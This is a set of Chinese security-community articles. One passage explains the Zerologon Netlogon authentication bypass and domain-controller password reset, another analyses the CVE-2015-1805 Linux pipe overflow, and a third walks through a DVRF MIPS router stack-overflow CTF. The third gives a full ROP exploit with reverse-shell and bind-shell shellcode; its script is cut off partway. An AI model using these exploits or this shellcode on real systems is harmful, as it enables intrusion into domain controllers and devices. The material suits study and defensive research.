由于在key固定的情况下，E(000000000000000000000000000000)的值固定，所以`E(参与AES运算的上一轮密文)的前面8位`是固定的，而每一轮的`明文内容`和`E(参与AES运算的上一轮密文)的前面前面8位`一样。所以每一轮的明文内容就必须要一样。所以要求明文的格式就是`XYXYXYXYXYXYXY`这种格式。那么还剩下最后一个问题。假设我们可以控制明文，那么在不知道key的情况下，我们怎么保证`E(000000000000000000000000000000)`的前面8位一定和明文一样呢。
这个地方我们不敢保证，但是前面八位的可能性有2**8=256(`00-FF`)，因为每一位都可能是0或者1。那么也就是说我们运行一次，在不知道key的情况下，`E(000000000000000000000000000000)`的前面8位一定和明文一样的概率是1/256,我们可以通过不断的增加尝试次数，运行到2000次的时候，至少有一次命中的概率已经有99.6%了。(具体怎么算。文章后面会介绍)。
所以我们最后下一个结论。
在AES_CFB8算法中，如果IV为全零。只要我们能控制明文内容为XYXYXYXY这种格式(X和Y可以一样，既每个字节的值都是一样的)，那么一定存在一个key,使得AES_CFB8(XYXYXYXY)=00000000。
### 4、netlogon 认证协议绕过
说完IV全为0导致的AES_CFB8安全问题，我们来看看netlogon认证协议。
继续看图
1、客户端调用NetrServerReqChallenge向服务端发送一个ClientChallenge
2、服务端向客户端返回送一个ServerChallenge
3、双方都利用client的hash、ClientChallenge、ServerChallenge计算一个session_key。
4、客户端利用session_key和ClientChallenge计算一个ClientCredential。并发送给服务端进行校验。
5、服务端也利用session_key和ClientChallenge去计算一个ClientCredential，如果值跟客户端发送过来的一致，就让客户端通过认证。
这里的计算ClientChallenge使用ComputeNetlogonCredential函数。
有两种算法，分别采用DES_ECB和AES_CFB。可以通过协商flag来选择哪一种加密方式。
这里存在问题的是AES_CFB8。为了方便理解，我们用一串python代码来表示这个加密过程。
# Section 3.1.4.4.1
def ComputeNetlogonCredentialAES(inputData, Sk):
IV='\x00'*16
Crypt1 = AES.new(Sk, AES.MODE_CFB, IV)
return Crypt1.encrypt(inputData)
使用AES_CFB8，IV是’\x00’*16，明文密码是ClientChallenge，key是session_key，计算后的密文是ClientCredential。
这里IV是’\x00’*16，我们上面一节得出一个结论。在AES_CFB8算法中，如果IV为全零。只要我们能控制明文内容为XYXYXYXY这种格式(X和Y可以一样，既每个字节的值都是一样的)，那么一定存在一个key,使得AES_CFB8(XYXYXYXY)=00000000。
这里ClientChallenge我们是可以控制的，那么一定就存在一个key，使得ClientCredential为`00000000000000`
那么我们就可以。
1、向服务端发送一个ClientChallenge`00000000000000`(只要满足XYXYXYXY这种格式就行)
2、循环向服务端发送ClientCredential为`00000000000000`，直达出现一个session_key,使得服务端生成的ClientCredential也为`00000000000000`。
还有一个需要注意的环节。
认证的整个协议包里面，默认会增加签名校验。这个签名的值是由session_key进行加密的。但是由于我们是通过让服务端生成的ClientCredential也为`00000000000000`来绕过前面的认证，没有session_key。所以这个签名我们是无法生成的。但是我们是可以取消设置对应的标志位来关闭这个选项的。
在 _NegotiateFlags_ 中。
所以在Poc里面作者将flag位设置为0x212fffff
在NetrServerAuthenticate里面并没有提供传入`NegotiateFlags`的参数，因此这里我们使用NetrServerAuthenticate3。
### 5、重置密码利用分析
前面的认证都通过之后，我们就可以利用改漏洞来重置密码，为啥一定是该漏洞，有没有其他的方法，后面会介绍。这里着重介绍重置密码的函数。
在绕过认证之后，我们就可以调用RPC函数了。作者调用的是RPC函数NetrServerPasswordSet2。
NTSTATUS NetrServerPasswordSet2(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName,
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_AUTHENTICATOR Authenticator,
[out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,
[in] PNL_TRUST_PASSWORD ClearNewPassword
);
调用这个函数需要注意两个地方。
1)、一个是Authenticator。
如果我们去看NRPC里面的函数，会发现很多函数都需要这个参数。这个参数也是一个校验。在前面的校验通过，建立通道之后，还会校验Authenticator。
我们去文档看看Authenticator怎么生成的
这里面我们不可控的参数是是使用ComputeNetlogonCredential计算ClientStoreCredentail+TimeNow,这这里的ComputeNetlogonCredential跟之前一样，之前我们指定了AES_CFB8，这里也就是AES_CFB8。而ClientStoreCredentail的值我们是可控的，TimeNow的值我们也是可控的。我们只要控制其加起来的值跟我们之前指定的ClientChallenge一样(session_key
跟之前的一样，之前指定的是`00000000000000`)，就可以使得最后的Authenticator为`0000000000000000`，最后我们指定Authenticator为`0000000000000000`就可以绕过Authenticator
的校验。
2)、另外一个是ClearNewPassword
我们用一段代码来看看他是怎么计算的
indata = b'\x00' * (512-len(self.__password)) + self.__password + pack('<L', len(self.__password))
request['ClearNewPassword'] = nrpc.ComputeNetlogonCredential(indata, self.sessionKey)
也是使用之前的ComputeNetlogonCredential来计算的。密码结构包含516个字节，最后的4个字节指明了密码长度。前面的512字节是填充值加密码。这里的填充值是’\x00’，事实上，这个是任意的。我们只要控制indata的值跟我们之前指定的ClientChallenge一样(session_key
跟之前的一样，其实也不是完全一样，最后的ClearNewPassword跟之前的ClientCredential长度不一样，所以indata也得是(len(ClearNewPassword)/len(ClientChallenge))
_ClientChallenge,之前指定的ClientChallenge为`00000000000000`，这里也就是`‘\x00’\_516`)，就可以使得最后的ClearNewPassword全为0。
## 0x02 常见的几个问题
### 1、 为何机器用户修改完密码之后会脱域
dirkjanm
在<https://twitter.com/_dirkjan/status/1306280553281449985>已经说的很清楚了。最主要的原因是AD里面存储的机器密码跟本机的Lsass里面存储的密码不一定导致的。这里简单翻译一下。
正常情况下，AD运行正常。有一个DC和一个服务器。他们彼此信任是因为他们有一个共享的Secret：机器帐户密码。他们可以使用它彼此通讯并建立加密通道。两台机器上的共享Secret是相同的。
尝试登录服务器的用户可以通过带有服务票证的Kerberos进行登录。该服务票证由DC使用机器帐户密码加密。
服务器具有相同的Secret，可以解密票证并知道其合法性。用户获得访问权限。
借助Zerologon攻击，攻击者可以更改AD中计算机帐户的密码，从而在一侧更改Secret。
现在，服务器无法再在域上登录。在大多数情况下，服务器仍将具有有效的Kerberos票证，因此某些登录仍将起作用。
在漏洞利用之前发出的Kerberos票证仍然可以使用，但是新的票证将由AD使用新密钥（以蓝色显示）进行加密。服务器无法解密(因为使用了Lsass里面的密码hash去进行解密，这个加密用的不一致)这些文件并抛出错误。后续Kerberos登录也随即无效。
NTLM的登录也不行，因为使用AD帐户登录已通过安全通道（通过相同的netlogon协议zerologon滥用）在DC上进行了验证。
但是无法建立此通道，因为信任中断，并且服务器再次引发错误。
但是，在最常见的特权升级中，将目标DC本身而不是另一台服务器作为目标。这很有趣，因为现在它们都在单个主机上运行。
但这并没有完全不同，因为DC也有多个存储凭据的位置。
像服务器一样，DC拥有一个带有密码的机器帐户，该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果我们使用Zerologon更改密码，则仅AD中的密码会更改，而不是注册表或lsass中的密码。
利用后，每当发出新的Kerberos票证时，我们都会遇到与服务器相同的问题。
DC无法使用lsass中的机器帐户密码来解密服务票证，并且无法使用Kerberos中断身份验证。
对于NTLM，则有所不同。在DC上，似乎没有使用计算机帐户，但是通过另一种方式（我尚未调查过）验证了NTLM登录，该方式仍然有效。
这使您可以使用DC计算机帐户的空NT哈希值进行DCSync。
如果您真的想使用Kerberos，我想（未经测试）它可以与2个DC一起使用。 DC之间的同步可能会保持一段时间，因为Kerberos票证仍然有效。
因此，一旦将DC1的新密码同步到DC2，就可以使用DC1的帐户与DC1同步。
之所以起作用，是因为DC2的票证已使用DC2机器帐户的kerberos密钥进行了加密，而密钥没有更改。
### 2、 脚本里面2000次失败的概率是0.04是怎么算的
在作者的利用脚本里面，我们注意到这个细节。
作者说平均256次能成功，最大的尝试次数是2000次，失败的概率是0.04。那么这个是怎么算出来的呢。
一个基本的概率问题。每一次成功的概率都是1/256，而且每一次之间互不干扰。那么运行N次，至少一次成功的概率就是`1-(255/256)**N`
那么运行256次成功的概率就是
运行2000次成功的概率就是
### 3、NRPC那么多函数，是不是一定得重置密码
已经绕过了netlogon的权限校验，那么netlogon里面的RPC函数那么多，除了重置密码，有没有其他更优雅的函数可以用来利用呢。
我们可以在API文档里面开始寻觅。
事实上，在impacket里面的`impacket/tests/SMB_RPC/test_nrpc.py`里面已经基本实现了调用的代码，我们只要小做修改，就可以调用现有的代码来做测试。
我们将认证部分，从账号密码登录替换为我们的Poc
def connect(self):
if self.rpc_con == None:
print('Performing authentication attempts...')
for attempt in range(0, self.MAX_ATTEMPTS):
self.rpc_con = try_zero_authenticate(self.dc_handle, self.dc_ip, self.target_computer)
if self.rpc_con == None:
print('=', end='', flush=True)
else:
break
return self.rpc_con
将Authenticator的实现部分也替换下就行。
def update_authenticator(self):
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
# authenticator['Credential'] = nrpc.ComputeNetlogonCredential(self.clientStoredCredential, self.sessionKey)
# authenticator['Timestamp'] = 10
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
return authenticator
然后其他地方根据报错稍微修改就可以了。我们开始一个个做测试。
这块基本是查看信息。
虽然可以调用成功，但是对我们的利用帮助不大。
这块基本是是建立安全通道的，设置密码已经使用了，除去认证，设置密码，还有一个查看密码。遗憾的是EncryptedNtOwfPassword是使用sesson_key
参与加密的，我们不知道sesson_key，也就无法解密。
其他的函数整体试了下，也没有找到几个比较方便直接提升到域管权限的。大家可以自行寻觅。
事实上，dirkjanm也研究了一种无需重置密码，借助打印机漏洞relay来利用改漏洞的方法，但是由于Rlay在实战中的不方便性，整体来说并不比重置密码好用，这里不详细展开，大家可以自行查看文章[A
different way of abusing Zerologon
(CVE-2020-1472)](https://dirkjanm.io/a-different-way-of-abusing-zerologon/)。
### 4、是不是只有IV 全为零才是危险的
在之前的分析中，只要`参与AES运算的上一轮密文`每一轮保存不变就行，第一轮的`参与AES运算的上一轮密文`就是IV。也就是说，存在一个IV，只要他能够保持最前面8位不断移到最后，如AA(XXXXXX)
->
(XXXXXX)AA，值保持不变，就一定存在一个key,使得AES_CFB8(XYXYXYXY)=`IV*(len(明文)/len(IV))`(这里乘以`(len(明文)/len(IV)`是因为密文长度跟明文一样，不一定跟IV一样)。显然IV
全为零满足这个条件，但是不止是IV 全为零才有这个安全问题。 | 社区文章 |
# 影响所有Nexus手机的漏洞,浅析CVE-2015-1805
|
##### 译文声明
本文是翻译文章，文章来源：360VulpeckerTeam
译文仅供参考，具体内容表达以及含义原文为准。
By @少仲
From 360 VulpeckerTeam
0x0 漏洞信息
影响所有Nexus手机和部分Android手机的漏洞,Google于2016/03/18发布了公告修复,具体请看链接.
http://www.cvedetails.com/cve-details.php?t=1&cve_id=cve-2015-1805X
http://source.android.com/security/advisory/2016-03-18.html
0x1 漏洞描述
在linux
内核3.16版本之前的fs/pipe.c当中,由于pipe_read和pipe_write没有考虑到拷贝过程中数据没有同步的一些临界情况,造成了拷贝越界的问题,因此有可能导致系统crash以及系统权限提升.这种漏洞又称之为”
I/O vector array overrun”
0x2 代码分析
//摘自fs/pipe.c:
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
int do_wakeup;
ssize_t ret;
struct iovec *iov = (struct iovec *)_iov;
size_t total_len;
total_len = iov_length(iov, nr_segs);
/* Null read succeeds. */
if (unlikely(total_len == 0))
return 0;
do_wakeup = 0;
ret = 0;
__pipe_lock(pipe);
for (;;) {
int bufs = pipe->nrbufs;
if (bufs) {
int curbuf = pipe->curbuf;
struct pipe_buffer *buf = pipe->bufs + curbuf;
const struct pipe_buf_operations *ops = buf->ops;
void *addr;
size_t chars = buf->len;
int error, atomic;
if (chars > total_len)
chars = total_len;
error = ops->confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
//(1)
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
addr = ops->map(pipe, buf, atomic);
//(2)
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
//(3)
if (atomic) {
atomic = 0;
goto redo;
}
if (!ret)
ret = error;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* Was it a packet buffer? Clean up and exit */
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}
if (!buf->len) {
buf->ops = NULL;
ops->release(pipe, buf);
curbuf = (curbuf + 1) & (pipe->buffers - 1);
pipe->curbuf = curbuf;
pipe->nrbufs = --bufs;
do_wakeup = 1;
}
(5)//在这里更新total_len
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}
if (bufs) /* More to do? */
continue;
if (!pipe->writers)
break;
if (!pipe->waiting_writers) {
/* syscall merging: Usually we must not sleep
* if O_NONBLOCK is set, or if we got some data.
* But if a writer sleeps in kernel space, then
* we can wait for that data without violating POSIX.
*/
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, POLLOUT | POLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
}
pipe_wait(pipe);
}
__pipe_unlock(pipe);
/* Signal writers asynchronously that there is more room. */
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, POLLOUT | POLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
}
if (ret > 0)
file_accessed(filp);
return ret;
}
(1).首先pipe_read()函数会先循环读取iovec结构,并且通过iov_fault_in_pages_write()函数判断iov->len是否大于0,且iov->base指向的地址是否可写且处于用户态,之后返回atomic.
(2)如果atomic=1,则pipe_iov_copy_to_user -> __copy_to_user_inatomic ->
__copy_to_user_nocheck;如果atomic=0,则pipe_iov_copy_to_user -> copy_to_user ->
access_ok.
(3).如果atomic为1,pipe_iov_copy_to_user拷贝出现错误,会进入redo的逻辑,将再次调用pipe_iov_copy_to_user函数进行拷贝,且将atomic置为0.但是pipe_iov_copy_to_user的第三个参数chars并没有更新,还是会拷贝total_len大小的数据
static int
pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
int atomic)
{
unsigned long copy;
while (len > 0)
{
while (!iov->iov_len)
iov++;
copy = min_t(unsigned long, len, iov->iov_len);
if (atomic)
{
if (__copy_to_user_inatomic(iov->iov_base, from, copy))
//(4)
return -EFAULT;
}
else
{
if (copy_to_user(iov->iov_base, from, copy))
//(4)
return -EFAULT;
}
from += copy;
len -= copy;
iov->iov_base += copy;
//每次对iov->iov_len进行更新
iov->iov_len -= copy;
}
return 0;
}
4\.
如果copy到某种情况出错返回,已经copy成功的iov->len会被减去但总长度total_len并不会同步减去.也就是说如果total_len是0x100,第一次消耗掉了x;再次进入redo逻辑后还是0x100,然而实际已经被消耗掉了x.
0x3 具体探究
假设有一个iov结构,total_len为0x40,len为0x20.
iov[0]: iov_base = 0xdead0000 iov_len = 0x10
iov[1]: iov_base = 0xdead1000 iov_len = 0x10
iov[2]: iov_base = 0xdead2000 iov_len = 0x10
iov[3]: iov_base = 0xdead3000 iov_len = 0x10
如果iov[1].iov_base的地址被设置成不可写入.那么第一次pipe_iov_copy_to_user()会返回失败.而iov->iov_base
+= copy,iov->iov_len -= copy.
iov[0]: iov_base = 0xdead0010 iov_len = 0
iov[1]: iov_base = 0xdead1000 iov_len = 0x10
iov[2]: iov_base = 0xdead2000 iov_len = 0x10
iov[3]: iov_base = 0xdead3000 iov_len = 0x10
现在,redo的逻辑发生在0xdead0010,它以某种方式被设置成可写,并且len仍未0x20.那么iov[1]和iov[2]都将被用掉.
iov[0]: iov_base = 0xdead0010 iov_len = 0
iov[1]: iov_base = 0xdead1010 iov_len = 0
iov[2]: iov_base = 0xdead2010 iov_len = 0
iov[3]: iov_base = 0xdead3000 iov_len = 0x10
在注释(5)中,根据total_len -= chars;那么total_len的大小就被设置为0x20(0x40
-0x20).如果total_len变为了0x20,可我们iov[3]的大小只有0x10.这就会导致pipe_iov_copy_to_user()函数有可能读取到一个未知的iov[4].具体来查看下代码
static int iov_fault_in_pages_write(struct iovec *iov, unsigned long len)
{
//(6)
while (!iov->iov_len)
iov++;
while (len > 0) {
unsigned long this_len;
this_len = min_t(unsigned long, len, iov->iov_len);
if (fault_in_pages_writeable(iov->iov_base, this_len))
break;
len -= this_len;
iov++;
}
return len;
}
static inline int fault_in_pages_writeable(char __user *uaddr, int size)
{
int ret;
if (unlikely(size == 0))
return 0;
/*
* Writing zeroes into userspace here is OK, because we know that if
* the zero gets there, we'll be overwriting it.
*/
ret = __put_user(0, uaddr);
if (ret == 0) {
char __user *end = uaddr + size - 1;
/*
* If the page was already mapped, this will get a cache miss
* for sure, so try to avoid doing it.
*/
if (((unsigned long)uaddr & PAGE_MASK) !=
((unsigned long)end & PAGE_MASK))
ret = __put_user(0, end);
}
return ret;
}
在iov_fault_in_pages_write()函数中的注释(6),也就意味着iov[0],iov[1],iov[2]都会被跳过,iov[3]被用掉.之后len
-= this_len;len被设置为0x10.iov的指针将指向一块未知的内存区域.iov[4].iov_base将被__put_user使用.
0x4 如何利用
核心的思路就是想办法触发redo的逻辑,之后精心构造一个readv()调用.把payload结构定义在已经被校验过的iov数组后,让它成为__put_user()等函数调用的目标地址.如果我们再以某种方式让构造的slab结构在iov数组后包含一个函数指针,让它指向要写的内核地址.
1.第一次循环要保证pipe_iov_copy_to_user()函数失败,这样会进入redo逻辑
2.第二次要保证pipe_iov_copy_to_user()成功,但是不能在这里overrun,否则会走向copy_to_user,要校验地址,所以还是无法写内核地址
3.当iov->len走完之后,total_len还有剩余,所以第三次循环的时候,atomic=1.可以overrun触发
4.第一次要保证失败,也就是说需要把iov_base的地址设置成不可写,第二次要成功,就要保证iov_base的地址有效.所以这里可以通过创建竞争关系的线程,调用mmap/munmap等函数来实现.
0x5 POC
我测试的Nexus 6p 6.0.1系统会crash掉.
Talk is cheap,show me the code…
Github:
<https://github.com/panyu6325/CVE-2015-1805.git> | 社区文章 |
# 路由器漏洞挖掘之栈溢出——反弹shell的payload构造
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前一篇讲到了 `ROP` 链的构造，最后直接使用调用 `execve` 函数的 `shellcode` 就可以直接
`getshell`，但是在实际路由器溢出的情况下都不会那么简单。
这里再看一道 `DVRF` 的题，这道题是 `pwnable/ShellCode_Required` 下的 `socket_bof`。
## 漏洞分析
直接查看源码：
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
int main(int argc, char **argv[])
{
if (argc <2){
printf("Usage: %s port_number - by b1ack0wln", argv[0]);
exit(1);
}
char str[500] = "";
char endstr[50] = "";
int listen_fd, comm_fd;
int retval = 0;
int option = 1;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %in", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %in", atoi(argv[1]));
exit(1);}
if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
printf("Setsockopt failed :(n");
close(listen_fd);
exit(2);
}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
printf("Sent back - %s",str);
write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
同样这里可以发现一处 `sprintf` 的栈溢出，把程序放入 `IDA` 中进行分析
在 `0x00400D2C` 处调用了 `sprintf` 函数， **将格式化后的字符串直接放到大小为`0x50` 的栈上**，我们的输入如果大于
0x50 的话就会产生栈溢出，这样我们就可以控制返回地址。
这里和上一道题相似，同样这里需要我们使用 `ROP` 链来构造一个 `payload`。
但是这里不同的是，这里我们是通过端口访问的。 **如果我们这里`getshell` 了，这个 `shell`
还是在服务端的，我们是无法访问的**。所以这里我们需要构造一个通过端口能访问到的 `shellcode`。
这里我们希望的效果是可以直接反弹 `shell` ，或者使得 `shellcode` 能够使服务端在远程某个端口开启一个 `shell`
，我们就可以通过这个端口连接上，进而获取 `shell`。
### gdb 调试方法
这里因为程序是开了一个 `socket` 端口，调试方法稍微有点不太一样。但是还是可以用 `attach` 的方法来调试
具体的方法是：
1. 先把程序用 `qemu` 跑起来，附加调试端口为 `23946`
2. 用 `gdb-multiarch` 连接上 `23946` 端口：`target remote :23946`，程序断在 `_start` 函数处，在 `0x00400E1C` 处下一个断点（也就是 `lw $ra, 0x270+var_4($sp)` 的地方），c 继续运行
1. 再新开一个终端，`nc` 连接上之后，`send payload` 之后就可以在 `gdb` 中进行调试了。
### 确定偏移
控制 `ra` 之前还是需要先确定偏移地址。这边还是使用 `patternLocOffset.py` 工具来确定偏移，
python patternLocOffset.py -c -l 500 -f test2
python patternLocOffset.py -s 0x41376241 -l 500
可以看到偏移是 51， **后面的四个字节需要填充的 ra 寄存器的值。**
### 构造 payload
根据上一篇 `ROP` 链构造的思路， **我们同样可以用原来的`ROP` 链来进行利用**，这里不同的地方是 `shellcode`
的差异，我们需要构造一个能够从端口访问的 `shellcode` 或者直接使用 `socket` 弹回一个 `shell`。
* 在实际的路由器漏洞挖掘过程中，一般的栈溢出使用 `system` 函数来 `getshell` 都会存在问题，所以只能另辟蹊径。
**所以这里的重点是`shellcode` 构造**。
我们先用原来的 `exp` 试试效果：
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8
shellcode = ""
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode += "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3------------------- payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += shellcode
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
运行起来，在服务端可以看到，这里确实可以 `getshell`。
### shellcode 的选择和构造
这里的 `shellcode` 可以选择两种类型， **一种是在本地传一个`shell` 绑定到某个端口，另一种是直接反弹 `shell`。**
这里的 `shellcode` 可以自己开发，也可以直接用网上现成的。自己开发的话比较耗时难度也比较大，这边就直接使用[这里的](http://shell-storm.org/shellcode/)。
#### 反弹 shell
先选择一个反弹 `shell` 的 `shellcode`，在下面这个链接中，可以看到这边是将 `shell` 反弹到了 `192.168.1.177`
这个 ip 的 `31337` 端口。
<http://shell-storm.org/shellcode/files/shellcode-860.php>
我们使用的话之 **直接更改他的 ip 地址就行了** ，也就是对 `li $a1, 0xB101A8C0 #192.168.1.177`
这条汇编指令进行更改。
如何更改呢？这边就需要用到 `pwntools` 的 `asm` 函数。
首先，我们需要把目的 ip 地址转化为 16 进制，这里就拿笔者本机来演示。这里我本机的 IP 是 `192.168.123.158`
转化成 16 进制为：`0x9e7ba8c0`
那么这里的汇编语句就是：`li $a1,0x9e7ba8c0`
导入 `pwntools.asm` 函数中：
得到相应汇编语句的 `hex` 值，替换掉 `payload` 原来的 `hex` 值就行了。即：
stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#stg3_SC += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.1.177
stg3_SC += "xf8xffxa5xafx7bx9ex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.123.158
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"
`nc` 监听 31337 端口，运行 `exp` 成功反弹一个 `shell`：
#### 绑定到相应端口
这里的 shellcode 使用这里的：
<http://shell-storm.org/shellcode/files/shellcode-81.php>
也就是开启一个 `bash` 监听本地的 `4919` 端口。
bind_port_shellcode = "xe0xffxbdx27xfdxffx0ex24x27x20xc0x01x27x28xc0x01xffxffx06x28x57x10x02x24x0cx01x01x01x50x73x0fx24xffxffx50x30xefxffx0ex24x27x70xc0x01x13x37x0dx24x04x68xcdx01xffxfdx0ex24x27x70xc0x01x25x68xaex01xe0xffxadxafxe4xffxa0xafxe8xffxa0xafxecxffxa0xafx25x20x10x02xefxffx0ex24x27x30xc0x01xe0xffxa5x23x49x10x02x24x0cx01x01x01x50x73x0fx24x25x20x10x02x01x01x05x24x4ex10x02x24x0cx01x01x01x50x73x0fx24x25x20x10x02xffxffx05x28xffxffx06x28x48x10x02x24x0cx01x01x01x50x73x0fx24xffxffx50x30x25x20x10x02xfdxffx0fx24x27x28xe0x01xdfx0fx02x24x0cx01x01x01x50x73x0fx24x25x20x10x02x01x01x05x28xdfx0fx02x24x0cx01x01x01x50x73x0fx24x25x20x10x02xffxffx05x28xdfx0fx02x24x0cx01x01x01x50x73x0fx24x50x73x06x24xffxffxd0x04x50x73x0fx24xffxffx06x28xdbxffx0fx24x27x78xe0x01x21x20xefx03xf0xffxa4xafxf4xffxa0xafxf0xffxa5x23xabx0fx02x24x0cx01x01x01/bin/sh"
直接替换原来 `payload`：
但是这里有点问题，执行完 exp 却开启了别的端口，直接连接上去程序会直接崩溃。所以还是使用上面反弹 `shell` 的 exp 吧。
### exp
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
stg3_SC = ""
stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
stg3_SC += "xf8xffxa5xafx7bx9ex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.123.158
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
